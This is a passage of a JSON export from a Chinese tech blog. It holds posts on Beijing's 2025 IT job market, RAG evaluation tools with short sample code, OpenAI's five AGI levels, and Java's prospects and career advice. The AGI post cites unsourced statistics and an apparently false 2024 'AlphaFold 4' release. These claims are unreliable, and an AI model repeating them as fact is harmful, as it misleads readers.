运维 / SRE 16 k 28 k 40 k+ +5.9 % 测试 12 k 18 k 25 k +2.1 % 架构 / AI 25 k 38 k 45‑60 k +11.4 % （数据综合北京 HR 局薪酬季报、Indeed、Jobui 与 iHR360 行业库）\n🔥 技能热点与企业偏好 AI 嵌入：Prompt‑based 代码补全、Auto‑Test、知识库问答等场景让 Python / LLM SDK 成为附加加分项。 安全合规：等保 2.0、个人信息保护法落地，带动安全测试、DevSecOps、零信任架构招聘量增 19% YoY 信创：国资系招募国产 CPU / OS 适配工程师，优惠补贴年包 +20%。 供需与竞争 北京技术岗位投递量继续领跑一线城市；但 AI、大模型方向平均 每 1 份 JD 仅 7 份简历，反之普通 Web 开发超过 40 份简历/岗，显现结构性紧缺。 北京 2025Q1 IT 岗位平均薪资 2.9 万元，中位值 2.46 万元；同比涨幅 1.1%，明显低于 2021‑22 年两位数增速。 给企业与求职者的建议 企业 拆分 JD：将“平台研发”与“AI 应用落地”拆分，便于精准匹配候选人。 用薪酬+Tech Brand 双重激励：高端人才更看重技术氛围与成长空间，可开放技术博客、OSS 贡献等展示窗口。 培养内部转岗：参考 LinkedIn 数据，内部流动可将员工留存提升 40% 求职者 普通开发/测试应持续补齐 云原生 + 自动化测试 + 基础 AI； 关注国央企“信创”“数据要素”等长期项目，以稳就业与培训机会为优势； AI \u0026amp; 架构方向建议组合 算法实践 + 高并发系统设计 + 行业领域知识，扩大竞争壁垒。 “\n北京 2025 年 IT 技术岗位的主旋律是 “AI 驱动的高端岗位紧缺，传统岗位理性回调”。掌握新技能、拥抱跨领域融合将是穿越周期的关键。\n","date":"2025-04-17T02:20:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-04-17-2025-bei-jing-it-ji-shu-gang-wei-shi-chang-qu-shi-fen-xi/cover.jpg","permalink":"/p/2025-04-17-2025-bei-jing-it-ji-shu-gang-wei-shi-chang-qu-shi-fen-xi/","title":"2025北京 IT技术岗位市场趋势分析"},{"content":"前言：RAG崛起，评估成关键 检索增强生成（Retrieval-Augmented Generation, RAG）已成为当前大型语言模型（LLM）应用开发的主流范式。通过结合外部知识库的检索能力与 LLM 的强大生成能力，RAG 有效缓解了 LLM 的“幻觉”问题，提高了回答的事实性和时效性，在智能客服、企业知识库问答、内容生成等场景中大放异彩。\n然而，RAG 系统的成功并非唾手可得。其独特的“检索+生成”两阶段流程，带来了独特的评估挑战。我们不仅要关心最终答案“看起来好不好”，更要深入探究：检索到的信息准确吗？相关吗？全面吗？生成的答案是否忠实于检索到的信息？ 简单套用通用 LLM 的评估方法往往捉襟见肘。\n因此，对 RAG 系统进行精准、高效、多维度的评估，成为优化系统性能、确保应用可靠性的重中之重。幸运的是，社区和业界已经涌现出一批强大的 RAG 评估工具和框架。\n本文将聚焦 RAG 评估这一核心议题，深入解析 RAG 评估的独特挑战与关键指标，并详细介绍 2025 年值得关注的主流及新兴 RAG 评估工具，助你为自己的 RAG 应用找到最趁手的“度量衡”。\n一、 RAG评估的独特挑战与核心指标 评估 RAG 系统，本质上是评估两个核心组件及其协作的效果：\n检索器 (Retriever): 负责根据用户问题从知识库中召回相关信息片段（上下文）。 生成器 (Generator): 即 LLM，负责基于用户问题和检索到的上下文生成最终答案。 独特挑战 双重故障点： 最终答案不好，可能是检索出错（没找到、找错了、信息不全），也可能是生成出错（没理解上下文、产生幻觉、表达不清），或者是两者协作不畅。评估需要能够诊断问题来源。 上下文依赖性： 生成质量高度依赖于检索到的上下文质量，评估需要衡量答案对上下文的“忠实度”。 指标设计的复杂性： 需要同时覆盖检索质量和生成质量的指标。 核心 RAG 评估指标 为了应对挑战，社区发展出一系列针对 RAG 的关键指标，其中许多指标巧妙地利用了更强大的 LLM（如 GPT-4）作为“裁判”来进行自动化评估：\n上下文相关性 (Context Relevance/Precision): 评估检索到的上下文与用户问题的相关程度。低相关性意味着检索器引入了噪声。 上下文召回率 (Context Recall): 衡量检索到的上下文是否包含了生成“真实答案”所需的全部信息。低召回率意味着检索器遗漏了关键信息。 答案忠实度 / 接地性 (Answer Faithfulness / Groundedness): 这是 RAG 评估中最关键的指标之一。衡量生成的答案是否完全基于检索到的上下文，没有捏造信息（幻觉）。 答案相关性 (Answer Relevance): 评估生成的答案是否直接回应了用户的问题，没有跑题。 除了上述核心指标，根据具体应用，还可能关注答案的正确性（与标准答案对比）、简洁性、无害性等。\n二、 主流RAG评估工具深度解析 (2025年精选) 面对 RAG 的评估需求，以下工具和框架提供了强大的支持：\n1. RAGAS (RAG Assessment) https://github.com/explodinggradients/ragas\n定位：RAG 评估领域的领导者和事实标准。\n核心优势：\n专为 RAG 设计： 提供上述所有核心 RAG 指标（Context Precision/Recall, Faithfulness, Answer Relevance）的成熟实现。 LLM 辅助评估： 大量利用 LLM 作为裁判，减少对人工标注数据的依赖。 易用性： API 简洁，易于集成。 评价：如果你正在做 RAG，RAGAS 几乎是必选的基础评估工具，用于快速衡量 RAG 流水线的整体表现。\n1from ragas import evaluate 2from datasets import Dataset 3import os 4 5os.environ[\u0026#34;OPENAI_API_KEY\u0026#34;] = \u0026#34;your-openai-key\u0026#34; 6 7# prepare your huggingface dataset in the format 8# Dataset({ 9# features: [\u0026#39;question\u0026#39;, \u0026#39;contexts\u0026#39;, \u0026#39;answer\u0026#39;, \u0026#39;ground_truths\u0026#39;], 10# num_rows: 25 11# }) 12 13dataset: Dataset 14 15results = evaluate(dataset) 2. DeepEval https://github.com/confident-ai/deepeval\n定位：将 LLM/RAG 评估融入单元测试的框架。\nRAG 相关优势:\n丰富的 RAG 指标： 提供包括幻觉检测、忠实度、上下文相关性在内的超过 14 种指标，覆盖 RAG 评估关键点。 测试驱动： 与 pytest 深度集成，可以用写测试用例的方式定义和执行 RAG 评估，非常适合 CI/CD。 合成数据生成： 内置功能可辅助生成 RAG 评估所需的测试数据。 评价：对于希望将 RAG 评估工程化、自动化的团队，DeepEval 是极佳选择。它让 RAG 的质量保证更像传统软件开发。\n1from deepeval import assert_test 2from deepeval.metrics import HallucinationMetric 3from deepeval.test_case import LLMTestCase 4 5test_case = LLMTestCase( 6 input=\u0026#34;How many evaluation metrics does DeepEval offers?\u0026#34;, 7 actual_output=\u0026#34;14+ evaluation metrics\u0026#34;, 8 context=[\u0026#34;DeepEval offers 14+ evaluation metrics\u0026#34;] 9) 10metric = HallucinationMetric(minimum_score=0.7) 11 12def test_hallucination(): 13 assert_test(test_case, [metric]) 3. TruLens https://github.com/truera/trulens/\n定位：RAG 应用的 深度可观测性与诊断 工具。\nRAG 相关优势:\n追踪 RAG 链路： 能详细记录 RAG 应用中从问题输入、检索执行、上下文获取到最终生成的全过程。 “Triad”评估模型： 强调输入、输出、上下文三者关系，精确评估 Context Relevance, Groundedness, Answer Relevance。 根本原因分析： 通过追踪数据，帮助开发者定位 RAG 性能瓶颈（到底是检索问题还是生成问题）。 评价：当你需要 深入理解 RAG 系统内部运作机制、进行细粒度调试时，TruLens 无可替代。它超越了简单的分数评估，提供诊断能力。\n4. LLM-RAG-Eval https://github.com/sujitpal/llm-rag-eval\n定位：受 RAGAS 和 ARES 论文启发的纯 RAG 评估框架。\n核心优势：\n专注 RAG： 目标明确，就是提供一套全面的 RAG 流水线评估方案。 社区驱动： 作为 RAGAS 之外的新兴选择，可能融合更新的研究思路。 评价：对于希望探索 RAGAS 之外、同样专注于 RAG 评估的开源工具的团队，值得关注和尝试。\n5. RAGChecker https://github.com/amazon-science/RAGChecker\n定位：提供 精细化诊断指标 的 RAG 评估框架。 核心优势：\n诊断性强： 提供一系列指标分别评估检索和生成模块。 高人类相关性： 其开发者声称通过元评估验证了其指标与人工判断的高度一致性，这非常有吸引力。 评价：如果你不仅想知道 RAG 系统好不好，还想知道为什么不好，并且希望自动化指标尽可能接近人类判断，RAGChecker 是一个重要的考察对象。\n6. MLflow LLM Evaluate https://github.com/mlflow/mlflow\n定位：MLflow 生态系统内的 RAG 评估方案。\nRAG 相关优势：\n生态集成： 对于已使用 MLflow 进行实验跟踪的团队，可以无缝加入 RAG 评估。 模块化： 支持 RAG 等常见 LLM 任务的评估。 评价：主要价值在于其与 MLflow 的集成性，适合希望在现有 MLOps 流程中统一管理 RAG 评估的团队。\n7. Arize AI Phoenix https://github.com/Arize-ai/phoenix\n定位：开发阶段的 LLM/RAG 可观测性与评估工具 (开源)。\nRAG 相关优势：\n本地优先： 方便在本地开发环境追踪、记录和分析 LLM/RAG 交互。 调试友好： 提供日志、监控和评估能力，辅助 RAG 应用的早期调试和迭代。 评价：非常适合在开发流程早期就引入观测和评估，帮助开发者快速发现和修复 RAG 问题。\n补充：LangSmith 虽然 LangSmith 是一个更广泛的 LLM 开发平台，但其强大的端到端追踪能力对于理解复杂的 RAG 调用链非常有价值，可以记录检索步骤、LLM 调用细节等，是进行 RAG 调试和问题定位的重要辅助工具，常与其他 RAG 评估指标工具结合使用。\n三、 如何选择与组合RAG评估工具？ 选择 RAG 评估工具时，请考虑：\n评估目标： 是快速获得整体性能分数（RAGAS），还是需要深度诊断（TruLens, RAGChecker），或是融入自动化测试（DeepEval）？ 核心指标需求： 你最关心哪些指标？（如 Faithfulness, Context Recall 等）不同工具对指标的实现和侧重可能不同。 现有技术栈： 是否已使用 Pytest (DeepEval)? 是否已使用 MLflow (MLflow LLM Evaluate)? 是否需要 LangSmith 的追踪能力？ 开发阶段： 是在早期开发调试（Phoenix），还是在测试和部署阶段（RAGAS, DeepEval）？ 指标与人类判断的一致性： 如果对此要求很高，RAGChecker 值得关注。 RAG 评估工具组合策略 单一工具往往不够，组合使用效果更佳：\n基础组合： RAGAS (获取核心 RAG 指标) + LangSmith (追踪 RAG 链路细节)。 测试驱动组合： DeepEval (将 RAG 核心指标纳入 CI/CD) + RAGAS (作为补充或对比)。 深度诊断组合： TruLens (深入分析内部机制) + RAGAS (量化评估结果) + (可选) RAGChecker (获取高人类相关性诊断指标)。 开发期组合： Arize AI Phoenix (本地观测与初步评估) + (后续) RAGAS/DeepEval (系统性评估)。 MLflow 生态组合： MLflow LLM Evaluate + (可选) RAGAS 或 TruLens 进行更专门的 RAG 分析。 四、 RAG评估的未来展望 RAG 评估领域仍在快速发展，未来值得期待的方向包括：\n更智能的 RAG 指标： 开发能更好理解上下文细微差别、更抗干扰的自动化指标。 复杂 RAG 策略评估： 针对多轮检索、迭代优化、自查询等高级 RAG 架构的评估方法。 端到端与组件级评估的结合： 既能评估整体效果，又能自动诊断是检索器还是生成器的问题。 标准化 RAG 基准： 出现更权威、更全面的 RAG 评估数据集和排行榜。 评估与优化的闭环： 评估结果能更直接地用于指导 RAG 系统（如 Prompt、检索策略、模型微调）的自动优化。 最后 RAG 为我们利用 LLM 提供了强大的范式，但其效能的发挥离不开精准的评估。从 RAGAS 的开创性工作，到 DeepEval 的工程化实践，再到 TruLens 的深度洞察，以及 LLM-RAG-Eval、RAGChecker 等新兴力量，我们拥有了前所未有的工具来度量和优化 RAG 系统。\n理解 RAG 评估的独特性，掌握核心指标，并根据自身需求选择、组合合适的工具，是每一位 RAG 应用开发者走向成功的必经之路。希望这篇聚焦 RAG 评估的指南能为你披荆斩棘，提供有力的支持。\n","date":"2025-04-07T02:48:18Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-04-07-rag-xi-tong-xiao-guo-nan-ping-2025-nian-bi-bei-de-rag-ping-g/cover.jpg","permalink":"/p/2025-04-07-rag-xi-tong-xiao-guo-nan-ping-2025-nian-bi-bei-de-rag-ping-g/","title":"RAG系统效果难评？2025年必备的RAG评估框架与工具详解"},{"content":" \u0026ldquo;AGI 的发展是一个循序渐进的过程，从简单的对话交互到复杂的组织管理，每一步都代表着 AI 能力的质变。\u0026rdquo; — OpenAI Research\n当 DeepSeek 能和你聊星座运势时，它只是 AI 进化的第一站。\nOpenAI 公布的 AGI 五级路线图，揭示了人工智能从\u0026quot;聊天工具\u0026quot;到\u0026quot;战略指挥官\u0026quot;的完整进化路径，让我们得以窥见硅基生命的成长轨迹。\n第一级：会说话的鹦鹉（Conversational AI） 如今的 ChatGPT、Claude 等 AI，可以看作是掌握了语言规则的“高级复读机”。它们能够理解并生成人类语言，但这种能力类似于熟练背诵，而非深刻领会——它们能讲出哈姆雷特的台词，却讲不出他内心的挣扎。\n这个阶段的技术核心是 NLP（自然语言处理）+ML（机器学习）。就像人类婴儿牙牙学语，AI 通过海量语料库学习语言规则。但别被流畅对话迷惑，它们没有真正的理解能力。如同《西部世界》里的接待员，只是精心编排的台词\n虽然是最基础的阶段，但也是发展最理想的，以中文为例，理解错误率从 25%降至 7%（2024 数据），但面对\u0026quot;甲方说要五彩斑斓的黑\u0026quot;这类需求时，依然会死机。\n第二级：带 PhD 的逻辑狂（Reasoners） 如果说第一级是复读机，第二级就是手持博士论文的解题高手。这个阶段的 AI 能独立解决复杂问题，比如推导量子力学公式，或者计算最优供应链路径。\n我们熟知的 DeepSeekR1 模型就展现出了这种能力。\n同样，OpenAI 在 2024 年发布的 ChatGPT-o1 也展现这种能力。它不再依赖预设模板，而是通过强化学习（Reinforcement Learning）构建\u0026quot;世界模型\u0026quot;，像数学家般进行多步推理。举个具体案例：当被问及\u0026quot;如何降低芯片制造能耗\u0026quot;时，它能拆解出材料、工艺、散热三个维度，分别给出创新方案。\n当前的技术瓶颈在于：模型的推理正确率约 68%（2025 MIT 测试数据），仍会犯人类不会犯的低级错误，比如有可能误判化学反应条件导致虚拟实验室爆炸。\n第三级：007 特工（Agents） 到这个阶段，AI 真正成为数字世界的\u0026quot;行动派\u0026quot;。它不再被动应答，而是能主动执行任务：比如用三天时间帮你谈判合同，期间自主调整策略；或者监控工厂生产线，实时优化能耗\n技术架构分为三层：\n工具层：连接现实世界的 API 接口库 推理层：类人决策的神经网络 行动层：结果反馈与自我修正机制 最近大火的 Manus 正是这个阶段的代表。\n第四级：硅基爱因斯坦（Innovators） 当 AI 开始申请专利，人类就该重新思考创新定义。这个阶段的系统不仅能解决现有问题，还能提出全新理论框架。2024 年 DeepMind 的 AlphaFold 4 已能预测未知蛋白质结构，加速新药研发。\n但创新存在\u0026quot;机器盲区\u0026quot;：AI 擅长组合现有知识（如改进电池材料），却难以像爱因斯坦那样构想相对论式的范式革命。当前最先进模型提出专利级创意的概率是 1/2000，且 97%集中在已有技术交叉领域。\n第五级：数字 CEO（Organizations） 终极形态的 AI 将具备战略管理能力，可以运营跨国企业甚至城市系统。这不仅是处理数据的量变，更是认知层级的质变——需要理解政治博弈、文化差异、伦理困境等非结构化问题\n根据 OpenAI CEO 的预测，达到这个级别至少需要 10 年。但系统复杂度呈指数级增长：管理 10 人团队需要约 50 个决策参数，而万人企业需要处理超过 500 万个动态变量。\nAGI 时间轴 目前我们已经渡过了 Level 1 阶段。\n2024-2026：突破 Level 2 向 Level 3 过渡 2030s：Level 4 在特定领域实现 2040s+：Level 5 的早期实验形态 最后 AGI 五级阶梯不是技术狂想，而是正在发生的现实。当我们调侃\u0026quot;AI 要抢饭碗\u0026quot;时，更应关注这个进程中的控制权分配问题——毕竟，没人希望某天收到解雇邮件来自自家训练的 AI 总裁。\nAGI 五级论像一面照妖镜，让我们看清：\n客服、翻译等L1岗位已进入淘汰倒计时 律师、医生等L2职业面临人机协作重构 企业家、科学家等L4+领域将获得指数级赋能 正如 Sam Altman所说：\u0026ldquo;AI 不会取代人类，但会用AI的人会取代不用 AI 的人。\u0026ldquo;在这场智力革命中，你准备站上第几级阶梯？\n","date":"2025-04-06T04:17:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-04-06-openai-de-agi-wu-ji-jie-ti/cover.jpg","permalink":"/p/2025-04-06-openai-de-agi-wu-ji-jie-ti/","title":"OpenAI的 AGI 五级阶梯"},{"content":"Java在技术江湖中的现状：稳固基石还是夕阳西下？ Java 作为企业级开发的常青树，至今在大量核心系统中扮演着中流砥柱的角色。然而，资深 Java 开发者也明显感受到技术环境的变化。一方面，在银行、政府、互联网巨头等复杂业务场景中，Java 的地位依然稳固；大量遗留系统和核心业务仍运行在 Java 上，短期内很难被完全替换。以优酷的版权管理系统为例，这套长达10年的老系统采用了过时的技术框架，积累了 81万行 Java 代码和大量“没人敢动”的if-else逻辑，可谓技术债累累。像这样的遗留系统，全面重构风险极高，只能在业务推动下逐步演进。因此，在许多传统领域，Java 作为“老码农”的看家本领，仍是不可或缺的基石。\n另一方面，新兴业务和初创项目对技术栈的选择更加多元。近年Go语言等后起之秀在性能、并发和开发效率上表现出色，成为云原生时代的“宠儿”。不少互联网大厂开始在核心服务中引入 Go：例如谷歌、滴滴、Uber、腾讯等都用 Go 开发高并发、高性能的服务。业界一度流传着“Java 老旧笨重、Go 崭新酷炫”的声音。面对这种冲击，不少资深 Java 工程师难免焦虑：Java 会不会像当年的 COBOL 一样淡出主流舞台？\n事实证明，这种担忧有些过度。Java 拥有数百万开发者和完整生态，并非轻易就能被取代的工具。正如有分析指出，Go 的崛起为行业提供了新选择，但并不是对 Java 的简单替代；两种语言各有优势，未来将长期共存。换言之，Java 依旧是技术江湖里的定海神针，只是江湖规矩变了——老兵们需要适应新玩法。\nJava 面临的核心挑战：笨重背后的突围 资深 Java 开发者在项目实践中遇到的挑战，往往并非语言本身跑不动，而是架构转型带来的“不适感”。近年来微服务、云原生风潮兴起，Java 传统的开发模式在新环境下面临诸多掣肘。\n微服务部署压力 将单体应用拆成数十上百的微服务后，每个服务都需要独立部署运行。Java 应用启动慢、内存占用高的问题被放大。在同样功能下，一个简单的 Go 容器镜像可能只有十几MB，而等价的 Java（如采用 Helidon 框架）镜像初始体积高达 1.4GB！即使使用模块化手段缩减JDK体积（JLink可降至150MB左右），Java应用的容器仍显得臃肿。如此高的基础开销让追求极致弹性的微服务架构如临大敌：部署50个 Java 微服务可能需要远超预期的硬件资源，这正是很多团队转向更轻量语言的原因之一。有开发者调侃：“即便Java性能再好，内存占用是别人的 2～10倍，成本账算下来也让人犹豫。”而且在无服务器（Serverless）场景下，Java 冷启动延迟更是令人头疼——函数实例首次启动可能耗时数秒到十几秒。这一问题长期无法回避，直到 AWS 推出 SnapStart 等黑科技，把 Java 函数冷启动时间缩短到毫秒级，才算勉强止血。但需要注意，这类优化是云厂商额外提供的特殊支持，侧面说明 Java 在边缘计算、FaaS 等领域的先天劣势依然存在。\n启动速度与样板代码 “万事开头难”在 Java 世界格外贴切。传统 Java Web 应用往往需要预热 JVM、加载大量类和配置，启动一个服务动辄数十秒甚至几分钟。这在强调弹性伸缩的云环境下难以接受。此外，Java 以模板代码多著称，同样的业务逻辑，用 Java 写可能需要冗长的类定义和 Getter/Setter，而用 Go/Kotlin 等语言则简洁得多。例如，Go 以极简的语法实现高并发，让开发者专注于业务；相比之下，过去的 Java 代码显得繁琐累赘，不少老兵自己也调侃天天在写“体力活”。虽然 Java 近年通过 Lambda、Streams、Records 等特性在不断精简，但是遗留项目中的大量样板代码依旧是维护负担。缺乏某些现代语言特性（如模式匹配、代数数据类型）也使Java在表达某些逻辑时不够优雅。这些痛点促使部分团队尝试用 Kotlin 等 JVM 语言替换 Java，以期获得更简洁的语法和更少的冗余。\n并发与性能困境 高并发一直是 Java 的强项，但实现方式却日益受到挑战。传统 Java 使用操作系统线程实现并发，每个线程都对应一定的内存和调度开销，在大规模场景下显得“沉重”。为绕过这个瓶颈，过去几年兴起了基于 Reactive 异步编程的微服务框架，通过单线程事件循环避免线程阻塞。然而异步风格代码复杂度高、调试困难，让许多工程师“叫苦不迭”。好消息是，JDK 19/20 引入了虚拟线程（Project Loom）并在 JDK 21 成为正式特性。虚拟线程是由 JVM 管理的超轻量线程，实现了 Go 协程式的并发模型。这意味着开发者可以用以往同步阻塞的简单代码，实现过去需要复杂回调/响应式才能处理的高并发任务。正如 Java 架构师 Brian Goetz 所言：Loom 的出现有望“一举终结Reactive编程的必要”——因为过去Reactive是为解决线程不足的权宜之计。虚拟线程让我们能够创建成千上万个并发任务而不必担心线程耗尽，大幅降低了编写和维护高并发代码的心智负担。然而，新事物也伴随不确定性：老项目若迁移到虚拟线程模型，需要评估线程本地变量、同步机制等是否还能正常工作；调优方式也与传统线程有所不同。目前虚拟线程虽强大，但毕竟是新特性，在大型生产环境中的考验还不充分。Java 老兵们既期待它带来性能飞跃，也需要保持一份观望和谨慎。\nGraalVM 与原生执行 为了解决启动慢、内存高的问题，Java 社区近年另一“大招”是 GraalVM 原生镜像。通过提前编译(AOT)，可以将 Java 应用直接打包成本地可执行文件，启动时间和内存占用都有数量级的优化。这项技术被视为让 Java 重返边缘计算和 Serverless 舞台的希望：原生镜像下，一个 Spring Boot 微服务的“Hello World”容器镜像可小到 ~几十MB；运行时不需要JVM，冷启动延迟大幅降低。实际测试中，采用 GraalVM 原生镜像的 Java 服务在某些基准下性能甚至超越 Go：平均延迟仅0.25毫秒，每秒处理事务达到82426次，吞吐率是 Go 实现的两倍多！这种结果令人振奋，仿佛看到了 Java 打了一场漂亮的翻身仗。\n然而，理想很丰满，现实有时比较骨感。将复杂应用迁移到 GraalVM 原生镜像并非易事。例如，反射、动态代理等机制需要额外配置支持，许多成熟库在AOT编译下可能行为异常。构建原生镜像的过程也比较繁琐，往往需要调整代码、引入特定插件，并忍受较长的编译时间。调试诊断也更具挑战——原生应用无法使用 JVM 的丰富调试工具，需要新的手段排查问题。此外，引入 GraalVM 还意味着团队需要掌握一套新的知识体系。在的总结中作者就指出：“将 Spring Boot 应用打包为 Native 镜像并非没有挑战”，直接迁移复杂项目可能遇到种种坑，需要开发者充分评估和测试。因此，GraalVM 不是万能灵药，而是有门槛的新武器：用得好，Java 如虎添翼；用不好，反而可能引入新的不稳定因素。\n综上，资深 Java 开发者面对的不是“Java 不行了”，而是如何让 Java 行得更轻、更快、更优雅。JVM 社区显然没有躺在功劳簿上吃老本，而是在微服务、云原生时代积极求变。从 Spring Boot 3 对原生镜像的支持，到 JDK 连续的功能升级（如Records、Pattern Matching等），Java 正在努力破除“笨重”的刻板印象。老兵们需要做的，是与时俱进地拥抱这些变化，用新工具、新思路来武装自己的Java技能库。\n用舍之道：哪些场景放弃 Java，哪些场景坚持 Java？ 技术选型从来都不是非黑即白，对于 Java 的去留更是如此。究竟在哪些业务场景下应该考虑放弃 Java？哪些场景下 Java 仍是首选？结合真实案例和趋势，我们可以做出以下判断：\n场景一：边缘计算与Serverless – 谨慎使用 Java。 对于运行环境受限、对启动延迟敏感的场景，选择 Java 需要非常慎重。典型如物联网设备、边缘网关、函数计算等，这些环境往往内存有限且要求冷启动极快。在这些场合，运行一个庞大的 JVM 显然不如直接使用原生语言（C/C++、Rust）或轻量脚本语言（JavaScript、Python）来得高效。过去不少团队在实现事件驱动的小型服务时，就倾向于用 Node.js 或 Python 编写——不是因为Java不能实现功能，而是因为Java在每次调用都要“热身”的开销让人难以忍受。虽然有 GraalVM Native Image 可以大幅优化，但对小型团队而言，引入它的复杂度可能得不偿失。因此，对于边缘和无服务函数等应用，除非有充足理由和相应优化手段，否则倾向于选择更轻便的技术栈。当然，规则也非绝对：如果业务逻辑需要调用大量现有的 Java 类库（例如进行某种算法运算，而相关库只有Java实现），那么即便在 Serverless 环境下通过原生镜像等方式使用 Java 也是可以考虑的。总的来说，在这些场景，“能不用Java就不用”是较为实际的指导原则。\n场景二：高性能微服务 – 视情况取舍 在互联网分布式系统中，每种语言都有用武之地。如果团队主要目标是极致的性能和资源利用率，并且成员对 Go/Rust 等语言驾轻就熟，那么把部分微服务用新语言实现未尝不可。例如某些网关服务、实时通信服务，行业里确有用 Rust 或 Go 重写后延迟降低、内存减半的成功案例。特别是低延迟、高并发的基础设施组件（消息队列、代理服务器等），很多开源项目早就避开 Java 转投 Go/Rust 怀抱，这是技术基因所致（Java 更擅长业务逻辑，系统编程领域C系语言传统更强）。但是，对于业务逻辑复杂的微服务，Java 仍然具有难以替代的优势：强大的生态提供了各种中间件客户端、成熟的 ORM 和事务框架、安全完备的验证和监控工具等等。这些“全家桶”式的支持使Java在开发业务系统时如鱼得水，大大减少了造轮子的成本。如果纯粹为了追新把此类服务改用另一种语言，可能会发现需要重建许多Java自带的轮子，得不偿失。因此，我们的立场是：对性能极限有追求的核心组件，可以考虑非Java实现以挖掘潜力；但大多数微服务尤其是业务导向的微服务，Java 依然是稳妥且高效的选择。况且随着Quarkus、Micronaut等专为云环境优化的Java框架出现，以及JVM自身的持续优化，Java 微服务的“笨重”正在被削平。正如某次测试所示，在较大的机器上，Java 的吞吐甚至可与 Go 持平甚至略胜一筹——只要用对了方式，Java 完全能胜任高性能微服务。\n场景三：大型核心系统 – 坚定拥抱 Java 对于那些 复杂度高、生命周期长、需要强一致性和可靠性的核心业务，Java 无疑仍是值得长期信赖的编程语言。例如银行的核心账务系统、航空公司的订票系统、阿里的电商交易中台等，这些系统往往经历多年演化，业务规则繁多且严谨，需要大量业内验证过的中间件支撑。Java 的严格类型体系和成熟框架在这里如鱼得水。特别是在金融、政府等对稳定性要求极高的领域，“Java + 大型商用中间件”的组合几乎是默认标配。从技术债的角度考虑，这类系统虽然也面临老旧架构的问题，但重构时通常还是在 Java 体系内升级（比如从 Struts 升级到 Spring Boot，或引入分布式事务框架等），而不会轻易迁移到一门全新的语言上。这不仅因为重写成本高，更因为 Java 多年沉淀的安全性和可靠性难以替代。可以说，在复杂业务长跑中，Java 是一匹稳健的“长途马”，跑得也许不算最快，但足够稳当，生态中现成的工具能够覆盖方方面面，让架构师和开发者更安心。基于这些原因，我们坚定认为：在复杂业务和核心系统场景下，坚持使用 Java 是明智之举。即便引入新的技术插件，也是作为补充而非颠覆，比如用 Python 做小部分AI预测，再把结果喂给Java主系统等等。Java 老兵在这些战场上大可发挥深厚经验，将系统设计得健壮且易于维护，为业务保驾护航。\n归纳来说，用舍有道，视需而定：Java 并非万能，同样也远未过时。关键在于根据项目需求选择最合适的工具。在前沿领域不妨多尝试新语言新架构，以保持竞争力；而在关系到企业命脉的长线工程上，Java 依然值得我们托付。\nJava老兵的自我进化：坚守阵地or华丽转型？ 面对风起云涌的技术浪潮，10年以上经验的 Java 老将们该何去何从？是固守舒适圈，还是勇敢拓展边界？以下几点建议或许对处在十字路口的你有所启发：\n拥抱Java新特性，跟上生态演进 不要认为“学了十几年Java就没有新东西可学”。相反，Java生态在飞速更新，每年两个版本迭代。老兵们应该主动学习 JDK近几版的新功能（如Records、Sealed Class、Pattern Matching、虚拟线程等），这些特性能显著改善代码质量和性能，使你的技能焕发新生。例如，试着用 Loom 虚拟线程改造一个老的并发模块，体会一下开发模式的简化；或者研究 GraalVM 如何将现有服务无缝打包为原生镜像，了解其中的限制和调优手段。拥抱新技术不仅能提升生产力，也向团队展示了你与时俱进的技术热情。作为Java老兵，切忌固步自封——持续学习是对抗职业倦怠和时代冲击的最好武器。\n拓展多元技能栈，成为“T型”人才 在保持Java优势的同时，建议横向拓展一到两门其它语言或领域技能。比如，可以尝试学习 Go 或 Python，用它们做些小项目，体会不同语言在思维模型上的差异。再比如，深入了解一下前端技术或移动开发，哪怕不做前端，也能与前端同事更高效协作。这种“T”字型的技能结构（既有一门精深的主力技术，又对相关技术有所涉猎）将使你在团队中更具价值。很多架构师在成为架构师前，都曾是精通数门语言、熟悉多种数据库和中间件的全能型工程师。对Java老兵来说，学习一门新语言还能帮助跳出现有思维框架，把新理念反哺到Java日常开发中。例如，借鉴函数式编程思想优化Java代码，或者用脚本语言编写自动化工具提升开发效率。多元化的技能还为你提供了职业备胎：万一某天真的不想写Java了，你在其他领域的积累也足以支撑转型，不至于手足无措。\n深入业务和架构，提升不可替代性 随着工作年限增长，“懂业务、能设计”往往比单纯的编码能力更重要。Java老兵应该充分利用在一个行业浸润多年的经验，去深入理解业务领域 的本质问题，把握业务发展方向。将业务洞察与技术方案相结合，主动参与系统架构设计和重大技术选型，这会让你成为团队中不可或缺的核心人物。很多时候，业务专家+技术专家的复合型人才，比仅仅精通某种语法的程序员更有竞争力。如果你已经是某核心系统的Owner，不妨尝试推进架构优化和性能提升项目，展示自己在宏观层面的掌控力。同时，培养自己的系统设计能力，多研究业界大型系统的架构案例，学习它们如何权衡取舍。当你能从容驾驭分布式事务、异地多活、CQRS 等架构模式时，你的价值早已超越“Java 工程师”的范畴，而成为真正的技术专家。这种升级，无论未来Java的热度如何，都能让你的职业生涯保持上升。\n考虑转型技术管理或其他新领域 并非每个人都要永远写代码。工作十年以上后，你也可以根据兴趣转型，选择最适合自己的道路。如果你热衷带团队和项目把控，可以逐步走向 技术管理 岗位，担任Team Leader、技术经理甚至CTO，把多年经验用于培养新人和决策把关。很多Java老兵在这一阶段选择带领团队，既可传承自己的开发哲学，又能获得管理成就感。又或者，你对某些新兴领域情有独钟，例如 人工智能、大数据、安全 等，不妨利用业余时间学习相关知识，寻求内部调岗或外部机会。资深程序员转做产品经理、解决方案架构师的例子也屡见不鲜——只要有心，完全可以跳出演员阵容，转到幕后编剧或导演的位置上。当然，做出转型决定前需要评估清楚：你的核心竞争力是什么，新领域是否真心喜欢，从头开始是否有心理准备。转型不是逃避，而是为了更长远的发展。无论选择深耕Java栈还是开拓新跑道，持续的学习和热情都是关键驱动力。\n最后 想对每一位焦虑中的Java老兵说：技术江湖瞬息万变，但真正的资深工程师价值从不局限于某种语法。Java 之父 James Gosling 